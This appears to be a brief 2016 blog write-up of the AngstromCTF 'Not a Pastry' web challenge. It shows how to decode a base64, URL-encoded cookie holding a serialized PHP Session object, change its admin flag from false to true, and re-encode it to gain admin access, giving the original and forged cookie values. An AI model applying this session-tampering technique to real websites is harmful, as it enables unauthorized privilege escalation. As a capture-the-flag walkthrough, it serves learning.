Monday, April 18, 2016

AngstromCTF 2016 - Not a Pastry (web, 40)



Go to   http://web.angstromctf.com:1339/


Edit Cookies



Url decode not_s_pastry cookie
Base64 decode not_s_pastry cookie


Tzo3OiJTZXNzaW9uIjoyOntzOjEwOiJzdGFydF90aW1lIjtpOjE0NjA5NjY5NTY7czo1OiJhZG1pbiI7YjowO30%3D
O:7:"Session":2:{s:10:"start_time";i:1460966956;s:5:"admin";b:0;}

to be admin change de Boolean value b:0 to true  ( b:1) and code using B64 an url encode :
O:7:"Session":2:{s:10:"start_time";i:1460966956;s:5:"admin";b:1;}

Tzo3OiJTZXNzaW9uIjoyOntzOjEwOiJzdGFydF90aW1lIjtpOjE0NjA5NjY5NTY7czo1OiJhZG1pbiI7YjoxO30%3D

Modifies the cookies  not_s_pastry and visit  http://web.angstromctf.com:1339/



No comments:

Post a Comment